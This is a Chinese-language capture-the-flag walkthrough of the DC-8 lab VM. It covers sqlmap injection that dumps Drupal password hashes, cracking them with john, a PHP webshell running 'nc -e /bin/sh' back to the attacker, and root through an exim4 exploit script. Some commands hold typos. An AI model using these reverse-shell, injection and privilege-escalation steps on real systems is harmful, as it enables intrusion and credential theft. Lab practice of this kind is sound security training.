一.环境介绍
虚拟机平台:VMware Workstation Pro
攻击机:Kali2017(IP:10.10.10.133)
靶机:DC-8(IP:10.10.10.132)
二.信息收集
扫描所在局域网内存活的主机
netdiscover -r 10.10.10.0/24 //后面接要扫描的ip网段
这里探测到的10.10.10.132即为DC8靶机的ip地址,接下来使用nmap扫描主机,查看端口和服务,发现目标主机开放了22和80端口
nmap -sS -A -p- -T4 10.10.10.132
三.漏洞挖掘与利用
直接访问主机ip地址,默认访问80端口,在欢迎页发现疑似注入点
对疑似注入点进行手动测试,1后面加一个单引号,根据报错信息发现存在SQL注入点
接下来使用SQLmap进行自动化注入
sqlmap -u "http://10.10.10.132/?nid=1%27" --dbs
sqlmap -u "http://10.10.10.132/?nid=1%27" --dbs -D d7db --tables
sqlmap -u "http://10.10.10.132/?nid=1%27" --dbs -D d7db -T users --columns
sqlmap -u "http://10.10.10.132/?nid=1%27" --dbs -D d7db -T users -C "uid,name,pass" --dump
爆数据库
爆数据表
查找有用数据表
爆字段
拖裤
得到账号密码,但是被加密了
先把账号密码复制在DC8_password.txt里,然后用john爆破
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
//以上为文档里的内容,注意不能多出空格
john DC8_password.txt //用john爆破密码
账号:john
密码:turtle
在网站上找不到登录的地方,我们可以扫描网站目录
dirb http://10.10.10.132
这里只爆破出了john的密码,可用来登录网站后台,接下来的思路就和DC7一样,需要反弹shell。
这里可能会想和DC7一样通过Add content–>Basic page去添加一个webshell,但是在这个靶机里面我们是通过Add content–>Webform–>From settings去添加webshell的,注意选择PHP code
<?php system("nc -e /bin/sh 10.10.10.133 4444");?>
这里php代码前最好有一些其他内容,避免一些未知错误,写好shell后点击保存配置,回到view里填写自定义内容并提交,提交后便执行了刚刚的webshell,在提交前先在kali监听端口
nv -lvvp 4444 监听4444端口
python -c "import pty;pty.spawn('/bin/bash')" 得到交互式shell
四. 提权
接着查看哪些命令是root权限
find / -perm -4000 2>/dev/null
发现exim4 ,查看对应版本信息
exim4 --version
利用exim4提权,提权需要有写权限,www-data用户在当前目录下无写权限,查看目录权限发现/tmp目录有写入权限,切换到/tmp目录
ls -l
接下来在kali上查找exim的漏洞攻击脚本,找到46996.sh脚本文件,这里kali2017找不到对应版本,可能是还没更新,所以我用kali2019找到对应版本漏洞攻击脚本,复制到根目录下再把脚本移入kali2017继续操作。
查看脚本发现有两种执行方式
cat DC8_getshell.sh //查看脚本
./DC8_getshell.sh -m setuid //方式一执行脚本
./DC8_getshell.sh -m netcat //方式二执行脚本
在kali上用vi查看编辑脚本文件类型,会出现 dos或unix格式,如果为dos,需要改为unix模式,不然会报错,这个报错是由于windows下编辑上传到linux下执行导致的
vi DC8_getshell.sh //编辑查看脚本
:set ff? //查看文件类型
:set ff=unix //修改文件为unix格式
在kali上开启http服务给靶机下载exim漏洞脚本,记得在/tmp目录下下载脚本文件,并且修改脚本的权限,接着尝试两种方式执行脚本,方式二成功。
python -m SimpleHTTPServer //开启http服务
wget http://10.10.10.132:8000/DC8_getshell.sh //下载脚本到当前目录下,所以要进入有写入权限的/tmp目录下执行命令
chmod 777 getshell.sh //修改文件的权限
方式一不成功
方式二成功拿到root
拿下flag
至此,DC8就已经结束啦,谢谢您能坚持看到这里。